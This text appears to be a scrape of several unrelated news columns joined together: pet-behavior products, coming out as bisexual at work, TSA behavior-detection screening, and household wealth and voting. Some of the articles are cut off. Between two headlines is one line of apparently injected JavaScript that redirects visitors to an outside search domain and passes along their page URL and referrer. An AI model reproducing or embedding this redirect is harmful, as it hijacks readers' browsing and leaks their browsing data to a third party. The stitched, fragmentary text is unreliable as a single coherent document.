Shortcuts: A Special Purchase to Curb Behavior Could, Just as Easily, Terrify a Pet

We thought we had solved the problem by installing a new door that opens by radio frequency emitted from the tags on our cats’ collars. The only problem was that the cats hated the noise the door made and refused to use it.

We hoped they’d get used to it.

But six months later, Archie and Lily still view it with the same petrified stare as they did in the beginning.

That made me wonder about other pet problems and the products that owners buy to solve them.

There’s a caveat. What works for one pet may prove disastrous for another: different pets, different temperaments and different owners. Nonetheless, it can be useful to hear what some animal behavior experts and longtime pet owners suggest — or don’t — and why.

After all, Americans spent $53.3 billion on pet products last year, more than $12 billion of that for supplies and over-the-counter medicine, according to the American Pet Products Association.

First, what about sprays that are supposed to stop your cat from scratching your furniture? I’ve bought several bottles of different brands and spritzed them on the arms of the living room chairs. The cats walk up, sniff and then proceed to shred the chair as usual.

“I haven’t had much luck with sprays,” said Stephen L. Zawistowski, a science adviser to the American Society for the Prevention of Cruelty to Animals. He suggested putting double-sided tape, aluminum foil or Bubble Wrap on the places the cats like to scratch, while offering them a scratching post nearby.

That strategy has worked for me. I put catnip on a flat, corrugated cardboard box, and the cats claw away. It is the Trader Joe’s Double Wide Cat Scratcher and costs about $7.

Other sprays that promise to get rid of urine smells rarely do. Almost everyone I spoke to, including a friend who is down to five cats from eight, said none of them seemed to truly work.

The idea behind all these products, such as the most common, Nature’s Miracle, is not only to dispel the unpleasant odor for humans, but to discourage the pets from urinating in the same spot again.

“I no longer buy any of them,” my friend said. “I mix together half vinegar and half water with three to four drops of Dawn liquid dishwashing detergent and use it.” It seems to work, she said, even though it sometimes makes her house smell like salad dressing.

Automatic litter boxes don’t seem to have a lot of fans. They work this way: Sometime after the cat has done its business, a rake runs through the litter and deposits the excrement into a bag.

Besides being expensive — $100 and up — Mr. Zawistowski said that if the automatic cleaner started while the cats were in the box, it could frighten them so much they would avoid it altogether. If you own multiple cats, one can jump in after the first and “you have to make sure it doesn’t operate while the second cat is in the box,” he said.

A cat behavior that most of us find rather distasteful is the inclination to drink from toilets. One solution is to lower the toilet seat, but with two teenage boys in the house, it might be easier to train the cats to shut the lid.

Some suggest buying drinking fountains, but Megan Lynch, a cat owner, reported, “Our cat was terrified of the sound it made and didn’t want to go near it. We kept it for a month or so to see if he’d warm up to it, but he continued to regard it as an alien being that we had inexplicably brought into our home.”

Cats may drink from toilet bowls because the water can be fresher and cooler than water that’s been sitting in a bowl all day, Mr. Zawistowski said. That’s why he suggested refilling the bowl several times a day, wiping it out each time with a paper towel and then giving it a good scrubbing every few days.

Now on to dogs. One common product — retractable leashes — provoked the ire of several experts.

Bits Blog: How Surveillance Changes Behavior: A Restaurant Workers Case Study

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Civil Behavior: What Is the Right Way to Come Out as Bisexual at Work?

Q. Dear Civil Behavior: I’m bisexual (female), and I want to be out at work. I just don’t quite know how to slip it into conversation. It never seems appropriate to say the word “sexual” in a work environment, and it’s simply awkward. If I come out to a straight man, for example, he always seems to take it in a sexual way. Coming out to women I just get scared that they will be uncomfortable or think I’m coming on to them. Also it gets really wordy! I have to spend sentences explaining who I am while someone that is gay can use a single word or two. But, bisexual visibility can only get better if people like me don’t cop out and say we are gay when that’s not true. Any advice on how to make “out bisexual” a little easier? — Erica, East Brunswick, N.J.

A: Over the years I’ve frequently heard from my bi friends that it’s harder for them to come out than it is for those of us who are gay or lesbian because of the enduring myths about being bisexual. Stereotypes persist, and many people think that identifying as bi means 1) you’re going through a phase, 2) you’re promiscuous or 3) you’re really gay but not telling the truth. In fact, many of those in our generation of L.G.B.T. people did claim to be bisexual, when we were gay or lesbian all along but not yet ready to acknowledge it even to ourselves. That’s not deceitful; it’s part of coming to terms with your sexuality.

For those who are bi, though, I can certainly understand the difficulty in establishing your identity in a simple and honest way. “Bisexuality, arguably, is the least understood sexual orientation,” said Bob Witeck, a founder of one of America’s pioneering L.G.B.T. communications and marketing companies. “And invisible too, given their closets, and the sometimes harsh attitudes of gay and straight counterparts.”

After all, people our age are likely to associate being bi with either Sharon Stone as the murderous bisexual seductress Catherine Tramell in the 1992 film “Basic Instinct” or the flippant Woody Allen joke about how being bi “doubles your chance for a date on Saturday night.” These old stereotypes don’t die easily.

They are so alive and well, in fact, that when I posed your question on my Facebook page I was shocked by some of the venomous responses. It was the first time any topic has caused the Facebook algorithm to hide posts because of the language, and I’ve had to edit the remarks heavily to let even these few appear here:

¶"Life must be so tough on you wishy-washy [expletive deleted]”

¶"I’ve seen more damage done by ‘bisexuals’ that I care to count”

¶"Probably married and sleeping around”

I’d have a hard time coming out, too, if I thought seemingly reasonable people harbored opinions like these.

Still, you’re absolutely correct: If more bi folks come out of course visibility increases. But is work the right place to do this? I can hear the chorus from those who argue that one’s sexual identity (whether straight, gay or bi) is not relevant in a work context. “Why make a declaration,” one Facebooker posted. Another, “It’s nobody’s business in business.”

Point taken, but without making a “declaration,” don’t our straight colleagues routinely discuss how they spent the weekend with their opposite-sex partner, which is a nonchalant way of proclaiming their sexual identity. In recent years, gays and lesbians have joined in, too, acknowledging a same-sex boyfriend or girlfriend by showcasing a desktop photo of the happy couple or dropping a casual reference.

I do think context is key here. If you are in a relationship with a woman and talk with colleagues about your weekend plans with her, then the assumption is that you’re lesbian. If your current partner is a man, they’ll assume you’re straight. In that case, to clarify things with a friendly colleague you could mention a past love, working a simple “I’m bi” or a humorous “I play for both teams” into the conversation (although a friend of mine notes that someone might want to add, “I only play for one team at a time.”)

Two bisexual activists, A.J. Walkley and Lauren Michelle Kinsey, also recommended casual “water cooler” ways of bringing up your sexual identity through current events. “I was thrilled to hear that Clive Davis came out as bisexual, being bisexual myself,” or “Did you hear that same-sex couples will soon be able to marry in Delaware? It means a lot to me since I’m bisexual.”

Context isn’t the only thing that matters here – consider your company and its commitment to diversity and inclusion as well. Many corporations now have L.G.B.T. employee groups; think about getting involved as an out bi person and use that public role to reduce the invisibility of bisexuals in the workplace.

But what’s true for boomers is much less so for millennials, who have grown up with less antipathy toward bi people and are more likely to have been influenced by the well-respected and much-loved bisexual character Dr. Calliope Torres on “Grey’s Anatomy” (who’s had monogamous relationships with male and female characters) than “Basic Instinct.” This younger generation is also generally more accepting of the concept of fluid or pan sexuality, and less likely to use traditional labels to define themselves. Just this week I was told that college-age students are eschewing “lesbian” as “old school” and that the day is fast approaching when “bisexual” will also be considered obsolete. As one young man, who has had intimate relationships with men and women, e-mailed me: “I don’t need to identify. I just am. Me.”

Finally, whether you call yourself bi, fluid, queer or something else, don’t get bogged down in the verbiage; choose instead to embrace your life as it is. I’ve always liked this quote from James Dean who, when asked about his rumored bisexuality, responded: “I’m not willing to go through life with one hand tied behind my back.”

Do you think there’s more antipathy toward bisexual people than gays or lesbians? Why?

Previous “Civil Behavior” columns can be found here. Steven Petrow can be contacted at Facebook.com/gaymanners and @stevenpetrow or his Web site www.gaymanners.com. If you need advice about gay/straight situations or issues (geared to a boomer-aged audience), send them to Mr. Petrow at stevenpetrow@earthlink.net. (Unfortunately, not all questions can be answered.)

Booming: Living Through the Middle Ages offers news and commentary about baby boomers, anchored by Michael Winerip. You can follow Booming via RSS here or visit nytimes.com/booming. You can reach us by e-mail at booming@nytimes.com.

On the Road: T.S.A. Experiments With Behavior Screening

The agency already makes some exceptions, including allowing some frequent travelers who have passed background checks to move more quickly through security — an E-ZPass, of sorts, called PreCheck for passengers traveling in the United States.

Now, the agency is testing a new behavior detection program where officers use on-the-spot observations and conversations with passengers to select some for the quicker pass through the checkpoint.

The program, which the T.S.A. calls “managed inclusion,” is being tested at airports in Indianapolis and Tampa, Fla. If the tests are successful, the agency plans to expand the program to more airports this year.

The idea is to selectively identify certain passengers who appear to pose no threat and invite them to use lanes dedicated to the PreCheck program that the agency began in October 2011.

For several years, the T.S.A. has been looking for alternative screening methods to address public dissatisfaction with the current system. But one of those methods, behavior science, has its own critics, who warn of the potential for racial and ethnic profiling. Some critics also question whether the T.S.A. gives adequate training to its behavior detection officers. The officers had been receiving only four days of training, though the agency said recently it was expanding the program to provide “additional specialized training.”

One reason for the expanded program, the agency’s administrator, John S. Pistole, said, is to “make sure that the T.S.A. PreCheck lanes are being fully utilized” throughout the day, rather than just at peak hours. In a year-end report to employees, Mr. Pistole cited as an example what occurred at the Indianapolis airport on the day before Thanksgiving. Nearly a third of all passengers were chosen to go through a dedicated PreCheck lane, rather than the usual less than 5 percent, he said.

David Castelveter, a T.S.A. spokesman, explained how managed inclusion would work if the test phase was deemed successful. “As you are in the queue, behavior detection officers will be observing you, and if they feel that there is nothing that alarms them, you might be asked to come out of the queue, and invited to go through the PreCheck lane,” he said. Behavior detection officers, some with explosive-sniffing dogs, already routinely survey checkpoint lines.

Given the random nature of managed inclusion, there are no guarantees that anyone waiting in a regular checkpoint line will be invited to use one of the exclusive PreCheck lanes. “From time to time you might be pulled out of the line” and invited to use PreCheck, Mr. Castelveter said. Those passengers are able to keep their shoes on and their laptops in their cases, though they still have to go through metal detectors or body-imaging machines at the checkpoints. Their carry-ons are also still put through magnetometers.

It seems to me that the managed inclusion initiative is notable because it is based on the on-site judgment of behavior detection officers, rather than on the background checks that the PreCheck program requires.

Behavior detection officers use techniques familiar in some overseas airports, engaging passengers in casual conversation to look for suspicious behavioral clues.

But the Government Accountability Office has raised questions about the technique. In a 2010 report evaluating the T.S.A. behavior detection program, the G.A.O. cited a National Academy of Sciences study that said “a scientific consensus did not exist on whether behavioral detection principles could reliably be used for counterterrorism purposes.” The T.S.A. disputed that, saying the study did not specifically address airport security, and adding that it was conducting its own detailed research.

PreCheck, which is now at 35 airports in the United States, is still limited in scope. The T.S.A. said PreCheck was used five million times last year. It is open to high-frequency travelers selected by the five major airlines that so far participate — Delta, United, American, US Airways and Alaska. The T.S.A. is working with other domestic airlines to increase participation.

Once they are cleared in background checks, those invited passengers are eligible for boarding passes encoded to allow them to use PreCheck lanes. But randomness is deliberately built into PreCheck, so eligible passengers have no guarantee that they will be allowed to use a PreCheck lane on any given trip.

In addition to the high-frequency passengers selected by airlines, members of the Global Entry program of the Customs and Border Protection agency also are eligible for PreCheck. Global Entry costs $100 for five years and requires a background check and a personal interview. It provides expedited entry via an automated kiosk for airline passengers arriving from overseas, usually allowing them to avoid long lines at Customs and immigration.

I recently got a Global Entry card. The whole process, including the online questionnaire and the subsequent personal interview and fingerprinting at a Customs office, was easy to navigate. Enrollment information is at www.Globalentry.gov.

Managed inclusion, incidentally, is only one of several initiatives that Mr. Pistole has been proposing for this year to expand the population of so-called trusted travelers eligible for less intense checkpoint security. Security experts say that the more frequently people travel, the more “trusted” they become, since their travel patterns are easily determined. Of the roughly 640 million passengers who pass through T.S.A. checkpoints in a year, as many as 40 percent are frequent travelers, “the same people time and time again,” Mr. Pistole said.

Another possible initiative is what Mr. Pistole calls “Global Entry Light.” Details have not yet been worked out, but the basic idea is to adopt some aspects of the international traveler Global Entry program for domestic use by the T.S.A. At a lower enrollment fee, and perhaps with participation by private companies, Global Entry Light would offer expedited screening to qualifying domestic travelers who don’t also travel enough internationally to need the regular Global Entry.

That would be another part of the T.S.A.’s increasing effort this year to “move away from the one-size-fits-all construct” in airport screening and greatly expand the population of so-called trusted travelers eligible for PreCheck, Mr. Pistole said.

Common Sense: For Americans, Wealth Isn’t a Clear Indicator of Voting Behavior

“This president cannot tell us that you are better off today than when he took office,” Mitt Romney said as he accepted the Republican presidential nomination. Since then, “Are you better off?” has become a central theme of the campaign, and is likely to surface next week at the first presidential debate.

Are Americans better off? By one important measure, that depends on who you are. Unfortunately for Mr. Romney, the group most likely to answer with a resounding “no” — those who should be most receptive to his message — appear to be the least likely to vote for him.

In raising the issue to such prominence, Mr. Romney is echoing Ronald Reagan’s famous closing during his 1980 debate with Jimmy Carter, which is widely credited with swinging the election in Mr. Reagan’s favor. Exactly what he and other politicians have meant by the phrase “better off” is vague, but many commentators have looked to the unemployment rate, gross domestic product, household income, and inflation rate as relevant statistics for comparison.

By these measures, the answer is mixed. The unemployment rate in August was 8.1 percent, down from 10 percent reached in October 2009 but higher than the 7.8 percent in January when President Obama took office. Gross domestic product increased an estimated 2 percent rate in the first quarter and 1.3 percent in the second. While slow, that was a substantial improvement from the 3.8 percent contraction reported in January 2009, which was the worst drop in 27 years. Inflation was 1.7 percent in August, well within the Federal Reserve’s target range, and much better than the modest but worrisome deflation of early 2009. Median household income for 2011 was an estimated $50,054, compared with $50,112 for 2008, according to the Census Bureau. About the best the Obama administration has been able to say is that trends show slow but steady improvement.

This ambiguity shows up in the latest polls. In a Quinnipiac University/New York Times/CBS poll released this week, likely voters in Florida split 40 percent to 43 percent on the question of whether the United States is better off today than it was four years ago, with 40 percent saying the country is better off. In Ohio, it was tied at 39 percent, and in Pennsylvania it was 35 percent to 41 percent. Remaining voters thought the country was about the same or were undecided. But disaffection with the economy didn’t translate into support for Mr. Romney, who trailed Mr. Obama by widening margins in all three states.

There’s another measure that may help explain why Mr. Romney seems to be getting so little traction from the “are you better off” issue. It’s the wealth effect, which occurs when rising asset prices make people feel more secure. And in that respect, the answer is clear. As Mark Zandi, chief economist for Moody’s Analytics, told me this week, “From the perspective of the aggregate household balance sheet, we’re unambiguously better off than four years ago and are almost all the way back” to the pre-financial crisis peak.

That’s because of a combination of rising asset prices, especially American stocks and real estate, and lower household debt. Total household net worth, which is assets minus liabilities, was $50.4 trillion in the first quarter of 2009 when Mr. Obama took office. It was $62.7 trillion in the second quarter 2012, which ended June 30. Mr. Zandi and other economists predict that it will be significantly higher for the third quarter ending this month thanks to this summer’s stock market rally and recent strong gains in housing prices. It might soon hit the peak of $67.4 trillion, reached in the third quarter of 2007.

A healthy household balance sheet is a crucial measure of financial security, and it affects a majority of the population. According to a Gallup poll this year, 54 percent of Americans said they own stock either directly or indirectly through mutual funds, exchange traded funds and retirement plans. In that regard, they are much better off now than when Mr. Obama took office. From January 2009 until this week, the Standard & Poor’s 500-stock index had gained over 55 percent. The Nasdaq composite index has surpassed levels last reached in 2007. There has been a stream of headlines and news reports about stocks hitting new highs.

Even more Americans own real estate. Sixty-two percent reported owning homes in April, according to Gallup. Housing prices are still far below their 2006 peak, but most of the collapse took place before Mr. Obama took office. The Case-Shiller index of 20 cities stood at 146.34 in January 2009 and hit a low of 134.10 in March of this year, according to Standard & Poor’s, which compiles the index. This week it was 144.61, a steep 1.6 percent monthly rise from August. Even the hardest-hit low end of the market showed strong gains, and many commentators predicted housing prices have bottomed and begun a sustained rise.

The luxury housing market, especially in cities like New York, Los Angeles, San Francisco and Miami, has fared even better, with many properties selling at headline-grabbing record prices. At the extreme upper end, several Manhattan condos have recently sold at prices close to $100 million. And a wide array of assets typically owned by the wealthy have surged in value, from jewelry to wine, antiques and art.

The combination of rising stock prices and a rebound in the real estate market may be a reason consumer confidence rose sharply this week to its highest level in seven months. The survey shows that the confidence is even stronger among people with higher income levels.